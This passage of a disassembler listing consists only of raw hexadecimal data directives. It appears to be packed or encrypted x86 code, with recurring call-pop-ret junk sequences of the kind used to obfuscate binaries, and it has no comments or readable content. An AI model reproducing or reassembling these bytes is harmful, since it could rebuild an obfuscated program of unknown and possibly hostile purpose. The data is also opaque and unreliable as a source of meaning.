		dd 0F3040329h, 1B793453h, 0A97396BCh, 8B2BD41Fh, 89F9992Ah
		dd 0E69EBC1Ah, 6A3A60C1h, 1015E16h, 1CE13B70h, 0B3D32BC9h
		dd 1573D4CFh, 31558FF7h, 91AF1172h, 0A558B6F5h,	2AE5A7B2h
		dd 207E2D5Bh, 0C5238002h, 0DF2284A2h, 41A0FEA5h, 0FD0E9FE0h
		dd 0D5D7F5C8h, 3166F73Ch, 3CD5D88Ch, 789EFF60h,	0AF464A5Ch
		dd 34820C09h, 417CB12Dh, 0B33CD5EAh, 3DCBF152h,	0C8F52A49h
		dd 2C3CD5E9h, 0EA086ACBh, 93B10F9Ch, 2954B2F1h,	3056ABFBh
		dd 9CD1E273h, 3CD5EA21h, 0ACE172D3h, 3CD5EA11h,	8C5C82E3h
		dd 4A5B186Eh, 0D5E9A815h, 36EB4C3Ch, 3CD5EA87h,	467B0C6Dh
		dd 3CD5EA77h, 2ABB1C7Dh, 0E9D9E419h, 0BA1B3CD5h, 9939C894h
		dd 8898BEEDh, 0Dh, 0E31829B4h, 2DC47BDAh, 0C593B91Ah, 0C0EF9A71h
		dd 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h,	0A3DFFDh
		dd 0A30084A2h, 475E2745h, 0F1BCCBE9h, 89531B93h, 4C381E3h
		dd 83000000h, 1C8704EBh, 4895C24h, 289F6824h, 1C890000h
		dd 7D9F6824h, 0C890000h, 39B06824h, 3C890000h, 0D6D6824h
		dd 0D15F688Ch, 0C78147E7h, 34F54593h, 815FFB89h, 4ECh
		dd 24248900h, 4240481h,	59000000h, 4EC81h, 1C890000h, 8418F24h
		dd 592434FFh, 8B04C483h, 8957241Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 0D2E95C24h, 57FFF917h, 8A58763Dh,	660EFB65h
		dd 31B89331h, 3060D65h,	0F9E0FFC5h, 3B40A1BBh, 146167BFh
		dd 1C2A051Eh, 0D3269CE9h, 77255CDEh, 512900A5h,	663EB46Fh
		dd 426357EAh, 3F654EE9h, 6C63A280h, 123AA4FAh, 0F0DA1EFh
		dd 2E166320h, 0BD76B428h, 0D90D7DBEh, 8D0AEC89h, 0D66908Dh
		dd 61958B06h, 89060615h, 628DD8Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1E22EB0Bh
		dd 0BE3DCF51h, 111185C7h, 70080606h, 0BE660000h, 85C76F96h
		dd 6062E49h, 0
		dd 7DB5FFF9h, 6A060621h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 582AC357h, 7100A50Eh
		dd 8BE7074Dh, 6138185h,	95FFF506h, 6060791h, 1D258589h
		dd 6A0606h, 1AC995FFh, 0C08B0606h, 1E146DEBh, 6632E193h
		dd 7DC5692Dh, 7BEE7F05h, 8509304Bh, 0B805DC74h,	142CB156h
		dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 0B074D98Eh
		dd 0ED21F1AAh, 92731CB4h, 0AC3C6BEBh, 0DE7328C0h, 0A57FA2FDh
		dd 92E231A7h, 4D9F6644h, 46CD5FD5h, 6E75197Ah, 712E7BA3h
		dd 0C4DFF833h, 5979A00Fh, 0D3F618C3h, 0CF9B07B1h, 0D90F7367h
		dd 0EB5B02FBh, 0B615A004h, 535E906h, 0FC8D0000h, 5A2D4BADh
		dd 0BACBE94Bh, 196B89EBh, 780A288Ah, 21CEC92Bh,	0EE50532Fh
		dd 89EBB8D0h, 2B8D186Bh, 0C82A790Dh, 0BDF273h, 0F433D1E3h
		dd 0EC9A1ADEh, 3F4361BFh, 65C3E2A5h, 2543A506h,	0C6E44261h
		dd 0FC6F2DC0h, 0B49E6DE0h, 0B0D7F553h, 0AA5897F5h, 228105FCh
		dd 0C2E1A2C0h, 62414260h, 5A2E604h, 584E7CA7h, 8915DAA9h
		dd 0F4B3BEA6h, 0F91779DAh, 81245F8Dh, 9333C220h, 0F958B6F5h
		dd 3510B0D3h, 58F62DC5h, 2E31BF4Eh, 4E36A8EEh, 72000000h
		dd 61BFEC9Ah, 0C47C11AEh, 5155F32Dh, 0ED7534BCh, 133A8h
		dd 9A6F0000h, 0D160BEEDh, 7C328BC0h, 61C22DC4h,	0CBDAAD3Bh
		dd 6E354F6Dh, 1390F210h, 0F8EE97B5h, 59B7188Bh,	328E1836h
		dd 9E6343F1h, 218CFBE9h, 0A10364C3h, 46A80383h,	0BBE89AF2h
		dd 0A7483F5Dh, 4E391429h, 8BA2015Fh, 0D03156CAh, 0C4F92E3Fh
		dd 282DC494h, 6CD5A1C7h, 11A8E8BEh, 7D1E2721h, 0F482A8C7h
		dd 95B3158Eh, 0C554B2F1h, 20465D25h, 23B4F392h,	9521A28Ch
		dd 4A7010B5h, 0FAACC87Eh, 3336FF96h, 0F18A7127h, 8FB51695h
		dd 0EDC6F30Dh, 0B7ECFDA8h, 2DC4D206h, 0D75F85E6h, 81h
		dd 0E3182913h, 2DC47BDAh, 593B91Ah, 39C8267Dh, 62C0EF99h
		dd 364FDD03h, 41D2116Fh, 7BC2FB30h, 0D1322DC4h,	0EA178FABh
		dd 8BA90B98h, 304EACF7h, 0ABF89054h, 718AFE94h,	0C829B0FAh
		dd 0E98B46Ah, 3DD2EB82h, 43E41C43h, 25659B1Dh, 4F02A8EEh
		dd 3E000000h, 2ABBE89Ah, 0C9B99893h, 284EED17h,	87BCCD5Ch
		dd 2DC54A36h, 0B3F096B6h, 6F95F655h, 0A503A2E1h, 0BF426482h
		dd 0EF7EE0C3h, 496F364Fh, 0BEED9A85h, 7C13AD60h, 57F52DC4h
		dd 0FB30414Fh, 2DC47BC2h, 29ABD132h, 0A8ED75C7h, 1A0h
		dd 0EB9ADC00h, 38CF5EBCh, 0EF7F8F0Ch, 82103693h, 1E49A704h
		dd 3A4BB6F0h, 52AF096Bh, 0D88CC152h, 2A2BC34Eh,	48A138C9h
		dd 52FE2502h, 0B04BBF6Fh, 0E0414B10h, 0B6D0EEBAh, 0AD203C37h
		dd 88E9B6C2h, 257E0826h, 84AB14C7h, 638133CAh, 0DBC8BE43h
		dd 0C8D9EA79h, 0CA852A93h, 0B469CA33h, 33CA8509h, 0D6648AEBh
		dd 7795F3B0h, 0F8AFD50Fh, 22D03997h, 9A097D84h,	7F09A938h
		dd 4D73D230h, 0F37E25CBh, 592BCBAEh, 6E9C244Ah,	9D000001h
		dd 9166578Ch, 6FCC33CAh, 0E057E026h, 6F0061BEh,	0CB2C833Ah
		dd 0E2086933h, 42015E1Eh, 70016241h, 53D3C85Fh,	0DB2CB25Ch
		dd 6F3A92B5h, 4FB02BC2h, 49F627BEh, 0DEF82777h,	0B8CEECB8h
		dd 1B6B89EBh, 0CA33290h, 69BA3889h, 0E8769C70h,	1DA0D59Eh
		dd 0CF33CAB0h, 6B7C0D6Eh, 0CAB08736h, 0CAD9AA33h, 1AE60C6Dh
		dd 28020B1h, 0BEE443A1h, 89FD04A2h, 1C7A295Bh, 0E8FA5CBDh
		dd 0AEF3A908h, 485Fh, 75E9B00h,	0B03D7203h, 702DC47Ch
		dd 8FEDB6D0h, 34951471h, 84E2430Eh, 0EAFE4F5h, 0DE2DC47Ch
		dd 8934577Dh, 172DC47Ch, 0ED08BDE9h, 6E71CADh, 462DC47Ch
		dd 0E3F483E5h, 0C47C0FAEh, 4463222Dh, 506086E7h, 0A5h
		dd 1015E7Ch, 1CC85F70h,	0A1198F84h, 55BFE208h, 472BC352h
		dd 1C6A88E6h, 770F2D8Fh, 771BCE2Ch, 0A533CB71h,	60150DA4h
		dd 56B30F4Ah, 6F921430h, 0EEB5CD17h, 0BCD12B8Dh, 4243E374h
		dd 93E3D63h, 31CF29B4h,	0EA79D738h, 466C3B4Ah, 77D5CEB8h
		dd 207E2D59h, 0C9278402h, 0F6CADC8Ah, 0BA0B9BC9h, 842FA7A5h
		dd 555DC40h, 0CD0213A4h, 2DCFA1F0h, 7E7DA304h, 0D4437449h
		dd 3BAD442Bh, 81D5AC91h, 0E18BE5FCh, 0EB46A25Ch, 899FAC5h
		dd 2CF33371h, 799FB876h, 69091AA9h, 0D332901Fh,	0CAFC9F1Eh
		dd 0CEF45533h, 1015E0Ah, 0FAC85F70h, 0BFF8753Ah, 0E3DAFD23h
		dd 92BC91Ch, 5A2C4AA8h,	0B5D1EF51h, 0C9E598F6h,	23338C69h
		dd 0B6D03175h, 0DEC55CEDh, 0AD014FCBh, 0EB7A4A70h, 4B713C4Bh
		dd 7CDAC9BDh, 0BA374DEDh, 9C8E5101h, 2288981h, 35931074h
		dd 37CADC0Ah, 0D4F2544Fh, 0C868F9B2h, 2988E6BDh, 0A973703h
		dd 88000000h, 0AA089BE8h, 5A61254Bh, 0C0EF9A06h, 69424462h
		dd 0F96ED0Bh, 0B6F593B1h, 5B483A58h, 0A3DFFDh, 0A30084A2h
		dd 475E2745h, 0F1BCCBE9h, 89561B93h, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 2414895Ch, 3CDD68h,	243C8900h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8CBF2414h, 8101F97Ah
		dd 743BE7EFh, 2C7811Dh,	4762F616h, 101EBE56h, 0EEC11D5Eh
		dd 0C3C68108h, 0F724BF02h, 97CE81D6h, 81125933h, 600F45CEh
		dd 9CC68143h, 2965F22Dh, 0EC835EF7h, 24248904h,	4240483h
		dd 6855505Ah, 3F166BA1h, 0DDF7455Dh, 0ED81DDF7h, 3F166B9Ah
		dd 15DE889h, 583889D0h,	5224148Bh, 0C281E289h, 4, 8704C283h
		dd 8B5C2414h, 8953243Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 42E95C24h, 0DEFFF911h, 1B920399h, 0B85073BAh, 60D6B7Dh
		dd 0E0FFC503h, 77EB1FD9h, 3E779FBBh, 208FEF65h,	3FB88AC2h
		dd 72B0F5CAh, 298EC99Eh, 21DA4C1Fh, 59971224h, 58CB2C09h
		dd 15F2F541h, 34F4D68Ah, 0CC933A4h, 54632085h, 421C49E1h
		dd 7479506Ch, 20F331CCh, 27009A87h, 0FBB147Ah, 65F24720h
		dd 611D71E8h, 887EC1Dh,	31EF5525h, 7B1D63EBh, 3916E74h
		dd 129D3F2Ah, 208A691Eh, 88B504EBh, 5DE92ACCh, 0DC000005h
		dd 7E9CFEADh, 1A389A09h, 0BCDA3C6Bh, 5B79DBC8h,	1F1A7C27h
		dd 0A1028056h, 4867213Fh, 0E8BBC8E6h, 851E6886h, 184DCE23h
		dd 33D1E7A5h, 296D3147h, 0FF1D4092h, 0CAF00C21h, 0E3A24A3Ch
		dd 0A60766C4h, 4B582A48h, 0C0BBCBE9h, 0C4EC328Bh, 0D061C22Dh
		dd 0C4EC229Bh, 1071D22Dh, 0B9F294B2h, 5B4A3D5Bh, 9610BEFDh
		dd 2E901B6Bh, 0CE307310h, 2E1AD3B0h, 7ED52130h,	6381DF40h
		dd 0E9BCC725h, 0EEFF2A88h, 496F344Eh, 0FB88792Dh, 0D7717A8h
		dd 94F5B0D7h, 1146D736h, 2DC4BAACh, 0E9B9DF40h,	0E1CEBA5Ah
		dd 89E7C6C1h, 1076042Ah, 0FA63593h, 0C0D22799h,	0EC0F3521h
		dd 2DC489D4h, 7511B132h, 59ACC680h, 0F1528FD3h,	0E6387E93h
		dd 0F575CE2Fh, 54526E94h, 0EDAF37B9h, 4F30A8h, 9A6C0000h
		dd 0AE61BFECh, 2DC47C11h, 3F5155F3h, 8701E39Fh,	4B69C728h
		dd 0B00F6D38h, 4F562F4Fh, 7549A729h, 11EA8EDh, 5A000000h
		dd 598EED9Ah, 2DC47C64h, 86E4C3C5h, 869CA27h, 0B0FB8CAAh
		dd 53503452h, 9E08B6F5h, 27892463h, 0CC2E7D09h,	0BBE89A78h
		dd 0D9E4192Ah, 1B2DC47Bh, 0AAC894BAh, 770CEDDh,	0A3434D59h
		dd 267D07E5h, 71119FC5h, 3041D032h, 0C47BC2FBh,	0ABD1322Dh
		dd 0DC3A691Dh, 82E0C7BEh, 17F6B0CCh, 0A8ED7AE9h, 997Eh
		dd 0E89ABA00h, 285C88FCh, 5DBE1D7Bh, 255A6BFCh,	2DC47B98h
		dd 10E4FB5Ch, 9170D368h, 97B581A7h, 1A59B7EEh
		dd 0BF563A6Ch, 53A6F3Bh, 2DC4AAB8h, 1FC4DB3Ch, 922046BFh
		dd 3351B3F0h, 23C3544Fh, 54204665h, 0FB594E36h,	907D2945h
		dd 0A8EDFB70h, 98F7h, 0B2E7F800h, 2DC5060Bh, 0E03E651Eh
		dd 80042481h, 0D89CC223h, 37811829h, 23B8288Ch,	0F709B469h
		dd 8AEB2DC4h, 0F7ACD664h, 6D087B99h, 0C4F78538h, 0A506672Dh
		dd 8C232447h, 17E2AF71h, 3C587EEDh, 0B8EB976Ah,	0ED9A0256h
		dd 0BC1A89FFh, 0CAACA1A7h, 6BCC5D99h, 0A9D9790Ah, 173D9CFAh
		dd 6A1CBC4Bh, 0D9E1DC11h, 0B2132DC4h, 6E94F351h, 0C4DA754Bh
		dd 0E0CBBC2Dh, 851E6482h, 6C3AE827h, 396D0B54h,	0EDD31CD4h
		dd 0A13DD4A8h, 0D12736F8h, 5EBCE79Fh, 0F0789EFFh, 1, 0BCEB9A2Ch
		dd 5D46405Eh, 0B2C3D4FFh, 0C47C407Dh, 1796F12Dh, 9CFD5AB9h
		dd 0B54C5A76h, 3D6A1AD0h, 0C3207ADCh, 67FD32C3h, 0DD2BC27Ah
		dd 86001E7Ch, 1C7D2A5Eh, 0E51A2BBAh, 33CA7CD8h,	0EA9BBB1Ch
		dd 0D8FE5DBBh, 116F3C4Ah, 0CA7D615Eh, 26C6C733h, 0A4FF885Ch
		dd 6686E543h, 0C928861Dh, 0E21F87A3h, 87A507A4h, 55D3EEFFh
		dd 0F7E0AE44h, 1D650596h, 76946086h, 0CC359310h, 51B0A43Bh
		dd 1C67E5B3h, 35CCDAF6h, 61F05251h, 0B3A21B50h,	0F15233CAh
		dd 0ADA749CBh, 3CC0AEF3h, 0FC000001h, 7001015Eh, 0A4194E5Fh
		dd 482DC47Bh, 2E9EC1E7h, 0A42BC262h, 0BFC7E543h, 226482E4h
		dd 790D2B89h, 0D4AECC2Ah, 305371CFh, 0D6F41775h, 0D785F0D0h
		dd 985432CFh, 0F153B4EFh, 0F38F11DFh, 99CEDFAEh, 33CAA224h
		dd 0B94167C8h, 55h, 3075EF5h, 7CB03D72h, 43A42DC4h, 104556E5h
		dd 2DC47BADh, 5CC7DE3Fh, 51B6CDCDh, 2994B7DDh, 82DC4A6h
		dd 0B0C52380h, 701CE4A3h, 0E799935h, 2AD8419Fh,	6593447Ch
		dd 29698441h, 818A6398h, 0F6962DC4h, 73305692h,	2F55B412h
		dd 1A10364h, 9Bh, 42015E2Dh, 71026340h,	0DDC6C060h, 688094B7h
		dd 11722BC2h, 0B2F195B3h, 7E2AC150h, 0DD2BF1B8h, 0DE3C671Bh
		dd 6AF81E7Fh, 7E318F1Ch, 33CB1914h, 7F822442h, 0E03A9C07h
		dd 9F1E5383h, 9233CB18h, 3555B2F1h, 90F15251h, 0A8DDEEFFh
		dd 33CB1915h, 2D5076D7h, 31CFB51Fh, 8323B415h, 0B783A904h
		dd 0A6FD8828h, 1794F280h, 0D69DE686h, 0D06D1CA1h, 0E6FD02Dh
		dd 87FE1CE8h, 0E1A4C220h, 4DFB64C2h, 0C3A6759h,	0CED62B9Ah
		dd 844083Dh, 65C62BD5h,	39DD7403h, 4483AEC3h, 5EC084AAh
		dd 5F700101h, 7BA4194Eh, 0E7482DC4h, 17AE9EC1h,	0C3242BC9h
		dd 0AE3F4765h, 0B842FBCDh, 313037C3h, 38E00DB9h, 0F61476D7h
		dd 2B51390h, 71336E6h, 62C0EF99h, 5634044h, 0C6FAACDAh
		dd 32CFD785h, 0D7F55754h, 7896F4AFh, 0E39970Ch,	4B3BC6E0h
		dd 592FCF60h, 0CAD8E51Ah, 0BB1C5890h, 779DFC5Ah, 0AEFD89A7h
		dd 0E50A7D1Dh, 768245EDh, 183E9FABh, 3AC4Ch, 5AD80000h
		dd 0C0EF9A06h, 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h
		dd 0A3DFFDh, 0A30084A2h, 475E2745h, 0F1BCCBE9h,	89561B93h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 242C895Ch, 715768h
		dd 240C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 0BD552434h, 62730DC0h, 0F704EDC1h, 66ED81DDh, 89F3CB62h
		dd 0EC835DE9h, 24248904h, 4240483h, 48BE685Eh, 0C890000h
		dd 242C8124h, 42D50F80h, 8108468Fh, 0F800846h, 34FF42D5h
		dd 0C4835E24h, 240C8B04h, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 0E95C240Ch, 0FFF90B65h, 5946AA7Fh, 0D7189B8h, 0FFC50306h
		dd 0DC9260E0h, 260B5224h, 958C630Ch, 2DA4265Dh,	0E3ED579h
		dd 6562FA60h, 0B9A2452Ah, 98F61E50h, 5881524Dh,	0D2EC116h
		dd 9E12CE73h, 3039DA2Ch, 0E2FB7C44h, 4F391428h,	7F5AAF76h
		dd 3B93751Dh, 75DCA448h, 0A67BDE57h, 0D3BBA806h, 0FEF2C377h
		dd 617BD925h, 45331725h, 1DF4EA0Bh, 3132854Ch, 493F9767h
		dd 7DC9573Dh, 478E500Ah, 0E899B032h, 0E73F7620h, 7AE7526h
		dd 0BB8D8D0Ch, 6A060D73h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 81E6C355h, 0B13F11DEh
		dd 0DD8D893Fh, 6A060628h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 6947C352h, 0D45E569Fh
		dd 68B0FBAh, 8B000000h,	61B1195h, 1185C706h, 0C4060611h
		dd 6A000069h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8A50C350h, 4985C7D9h, 6062Eh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 90A2C356h, 0D800F3Dh, 0E9000000h
		dd 8, 53AF0247h, 0C0939CBh, 2AD5B5FFh, 6A0606h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 81E5E0C3h, 0BFF211C3h, 0F381664Ah, 95FFA7C5h, 6060791h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FBC35747h
		dd 0DC24C466h, 22188F95h, 0FF006AFDh, 61AC995h,	0EBC08B06h
		dd 2DFCC849h, 4A7354D7h, 0CCE66517h, 0CCAFB5E1h, 2B7B8EF8h
		dd 45CA1387h, 472C0AAEh, 9AC935B5h, 29B83E26h, 41457F82h
		dd 0CA2C5F2Eh, 2A7F61D8h, 13229E77h, 2C0B5EF7h,	555B6CD6h
		dd 24C7178Ch, 0C833C131h, 0D7605E4Ah, 8D8D63B1h, 60D74EBh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F0C35747h
		dd 1A8D7A92h, 6830F33h,	89000000h, 624659Dh, 999D8906h
		dd 89060625h, 628DD8Dh,	1185C706h, 14060611h, 8B00005Bh
		dd 60D5DBDh, 4985C706h,	6062Eh,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FC0C353h
		dd 0EE80D1Ah, 0E6000000h, 0E8C9C318h, 3695CDFCh, 45BA7DD8h
		dd 61BD8BDEh, 5A06061Dh, 2705B5FFh, 6A0606h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF4EB3C3h
		dd 6079195h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 3FCA0D95h, 0FF006A24h, 61AC995h
		dd 0EBC08B06h, 0FDFD7B19h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h
		dd 6892DE0Eh, 1C77B88Ch, 4EB7EE4h, 45244FB9h, 52EE9h, 0A4038600h
		dd 48632442h, 0E6BDC8E6h, 891E6684h, 2A790927h,	2E20CDC8h
		dd 0CFED4F54h, 6A88EAB9h, 0A288A19h, 78CD2F7Ch,	0F0FBC2F7h
		dd 0DBF133D1h, 0BFEC9A17h, 643F4361h, 308DC2D3h, 0C42DC47Ch
		dd 63424363h, 0B080A605h, 0E5038121h, 4AA9079Eh, 62C8BE9h
		dd 0AED60E78h, 1C3A98F9h, 9FB0416Ah, 0C47C536Ah, 1238992Dh
		dd 6C17B746h, 567CDB39h, 53E4BFC8h, 7BB00D42h, 0E3442DC4h
		dd 21B2F1BDh, 7CA20181h, 394A4660h, 0C47BB904h,	6D1B3B2Dh
		dd 29B7DD3Eh, 0CEEC4E5Dh, 6E8CEEB5h, 0EAB9CF15h, 8C162D8Ch
		dd 0BFBC3A2h, 9930C122h, 0BE6D47E0h, 733F6568h,	80AF4DE4h
		dd 0F4E42D20h, 5B4840CEh, 0B0C1D2FDh, 0CE2C7710h, 4203BA6Fh
		dd 88E92DC5h, 0A1604662h, 298204E2h, 0A90B6CCBh, 52B0FB8Bh
		dd 0C542219Fh, 5D49E72Dh, 0EE3B40B0h, 6B19B0A8h, 0AE41E4C6h
		dd 6C2AB2D8h, 2B000000h, 0F61A7594h, 0F356F88h,	0BFEC9A4Bh
		dd 7C11AE61h, 72F32DC4h, 95F3B0D2h, 0B2F41036h,	0ED75955Bh
		dd 4FC45BA8h, 9496E09Bh, 0FA5B4840h, 84CD4h, 0AD4D0000h
		dd 1473D1D8h, 0ED9A2AEEh
		dd 0C11F86FFh, 85A30162h, 2745A302h, 0A9E8465Dh, 3156ABFBh
		dd 29CDB6BCh, 0E4358B0h, 2DC49FAFh, 2283E445h, 1695F191h
		dd 840220F0h, 2971C527h, 477CFB89h, 2DC47C76h, 8EB41576h
		dd 0C3218200h, 65C3E2A5h, 0A9584EFCh, 2839CAD9h, 0C47BCAF3h
		dd 0A3C92A2Dh, 0D2D1B5D3h, 782F5674h, 643F47E7h, 0B581A706h
		dd 4AC3E3FFh, 0A8ED7BB6h, 0C9F4293Ah, 2B2DC485h, 891CA4CAh
		dd 58000000h, 0AEFD8929h, 5C88FA88h, 2C5C7C27h,	7C8D1E7Fh
		dd 0C47C7647h, 0EF15762Dh, 29800523h, 0CBDAADCBh, 0FC98586Dh
		dd 4FD32853h, 0EF4D582Fh, 99F7B6D1h, 0AFF7153Ah, 9F3FD011h
		dd 68558AE9h, 8C2DC569h, 0D6CCA2Bh, 26DBCBE7h, 0C7E5475Ch
		dd 6C8AE8BBh, 772D8B18h, 3EC24B5Bh, 29A8EE68h, 6Bh, 0BBE89A65h
		dd 61443F5Dh, 3FDFE003h, 0C1FC3144h, 332DC47Bh,	0B41371D2h
		dd 0CD34728Eh, 4E552FB5h, 0C7BC5CEDh, 92E6B6DCh, 60BEED9Ah
		dd 0C47C13ADh, 3D6A1E2Dh, 0E5C4C1DFh, 0FCAAD887h, 0C918960Eh
		dd 0C324E5C1h, 0C6CADC7Ah, 22485F26h, 0EE4B50A0h, 5A8FA0A8h
		dd 2DC55E63h, 7A022889h, 0Bh, 88356A7Bh, 6C2DC55Eh, 9A21E50Bh
		dd 0CF5EBCEBh, 0F250532Fh, 0A7DF6D93h, 45739EFCh, 0BEE5A061h
		dd 0D6E71C2Dh, 162DC47Bh, 65BF8FB5h, 42770808h,	2BC27B22h
		dd 3B59B718h, 0C8E7A14Bh, 9FE70567h, 617A604h, 0CA7CECD1h
		dd 799F0033h, 0CA7D6956h, 5A1BF33h, 0B9AEB8Bh, 742F57E5h
		dd 1992F412h, 0BAE99DBBh, 6145F35Ch, 5BBDE6A0h,	0F376A749h
		dd 11EC0AEh, 21C10000h,	5D214766h, 7001015Eh, 0C262913Bh
		dd 0C422832Bh, 32C3E0A6h, 8FB5F292h, 0C6E5A1BFh, 0B93C4A68h
		dd 3065876Eh, 33CAF38Dh, 68E7FE5Fh, 0F856B727h,	0CBC5E18Fh
		dd 4974A9BAh, 0AB33CB03h, 328954Ah, 6BCC33CBh, 0D4CFB745h
		dd 0FC906072h, 42D7AEF3h, 13000000h, 4444075Eh,	0D5750667h
		dd 0CDCCF2B1h, 286B25BCh, 0DB6132FCh, 0AD5B92B5h, 30912DC4h
		dd 0AC9E1FD2h, 0CCFA2DC4h, 9090EBDAh, 0AD23CAFFh, 0C8292DC4h
		dd 0CCF12637h, 202DC4ACh, 29C999BFh, 88h, 1015E55h, 68D93B70h
		dd 3ACB2BC2h, 0CA97B805h, 7ADB3C33h, 0F4BE52E9h, 0AE6E8731h
		dd 0E89EBC88h, 4B3B59BBh, 471728AAh, 41A21543h,	626230E3h
		dd 729033CBh, 2BB9CD34h, 0D8E51A59h, 1C33CB61h,	9DFC5ABBh
		dd 0AB4BDA3Ch, 516FCDD8h, 0BB1A7837h, 156A345Ah, 7F477C0Dh
		dd 4131CFF5h, 9CC2E1A1h, 0F41270D1h, 9DBB1992h,	4563C1E8h
		dd 0CFDCAA40h, 53B11271h, 566A3CEAh, 1AABFB29h,	0F72CBDC5h
		dd 2BD4A1CFh, 0E62C425h, 3AD1015Eh, 68BF6230h, 0BB02B7AEh
		dd 312DC4EBh, 0A9DE6FD0h, 2BC97F1Dh, 0F61472D3h, 22B11390h
		dd 3168008Bh, 0D6FC6BC9h, 7653E48h, 0FA9B2754h,	0EBBB6974h
		dd 0CE037016h, 72E8F4EFh, 0F5219CD1h, 72D372E8h, 0F153B415h
		dd 0B405162h, 72E8F4B2h, 912CE142h, 6372E8F5h, 384EDC02h
		dd 6CCAD9ACh, 304EAC0Dh, 0C6F14F54h, 93F30E98h,	0EE98B618h
		dd 0B8168DF6h, 5CBDEA9Ah, 770E9DFBh, 82007400h,	15380A21h
		dd 3B7C7EDh, 0E3000000h, 0EF9A065Ah, 424462C0h,	96ED0B69h
		dd 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h
		dd 0BCCBE947h, 681B93F1h, 0A47h, 53240C89h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 4895C24h, 5EA26824h, 3C890000h
		dd 75146824h, 48B060Dh,	4C48324h, 4EC81h, 24890000h, 24048124h
		dd 4, 4EC835Fh,	8F240489h, 3C8B0847h, 0E0895024h, 405h
		dd 4C08300h, 5C240487h,	582434FFh, 4C481h, 42E90000h, 61FFF903h
		dd 295B191h, 0B86094E5h, 60D79CEh, 0E0FFC503h, 265E09B2h
		dd 2EFE2C23h, 23CFEB29h, 7DC49F8Bh, 3C283CC6h, 4D3804CFh
		dd 353B1E58h, 692BBCFDh, 682D5C4Ch, 4A720994h, 57CFC89h
		dd 4F3D97A3h, 14177E3Ch, 6E8h, 836F1A00h, 66205BF9h, 525FD08Bh
		dd 13E8h, 42C76500h, 0F1DDC296h, 5B6EFD72h, 10221DBFh
		dd 48DE44CAh, 12E9h, 1AF64100h,	14C9170Eh, 2C6D41Ah, 74F88278h
		dd 59F8F081h, 0EBC7815Eh, 68000063h, 0
		dd 11E9h, 14FDF000h, 24FEF42Eh,	0C39AD4FEh, 0EE29ACD3h
		dd 665832FDh, 1C8BD68Bh, 81C1B107h, 3BAB96C3h, 4F3814Dh
		dd 81585F3Fh, 20C603C3h, 13E973h, 0B8670000h, 9FAA3E88h
		dd 59E41DA1h, 5502A500h, 94C60EDh, 71C8999h, 8E8h, 1D467600h
		dd 37A8C223h, 61606027h, 870Fh,	59610000h, 0E881CF8Bh
		dd 5F15CC95h, 800F5150h, 0
		dd 0C081595Ah, 5F15CC91h, 81D1BF0Fh, 0FF9D08F8h, 0B850FFFh
		dd 0E9000000h, 20h, 20FB675h, 890F94A7h, 0
		dd 0FFFF79E9h, 2CB086FFh, 0AFACB985h, 0B4D3CB5Dh, 0D1DAB56Ah
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0CCC35646h, 8F289C1Ah, 834A8475h, 630D1BDh, 9750006h
		dd 4B5BD83h, 74000606h,	8B535019h, 42DB8C0h, 85890000h
		dd 6062C51h, 0B2619D8Dh, 0D3FF0608h, 0BD83585Bh, 60604B5h
		dd 50177400h, 42DB853h,	85890000h, 6062C51h, 0AF509D8Dh
		dd 0D3FF0608h, 0F18A585Bh, 90B3F281h, 0B58903D0h, 6061D75h
		dd 8BF8C08Bh, 631298Dh,	9E906h,	224A0000h, 504AB207h, 8343A1CDh
		dd 840F00F9h, 0E0h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0F5C35242h, 8380DECCh, 6840Fh, 958B0000h
		dd 6062395h, 2C3D8B64h,	8B000000h, 0FFF0BF2h, 0A384h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8164B853h, 56CB41C2h, 6A3F8B04h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 572DC357h
		dd 89DD4B86h, 6133DB5h,	0CE906h, 0EBE0000h, 5DD68F33h
		dd 0A416FAECh, 0C03228C1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1CC35040h, 0BF0FFC43h, 6AAAF3D3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 3759C353h, 0E63A629Eh, 50414935h, 53006A53h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0DB0183F7h
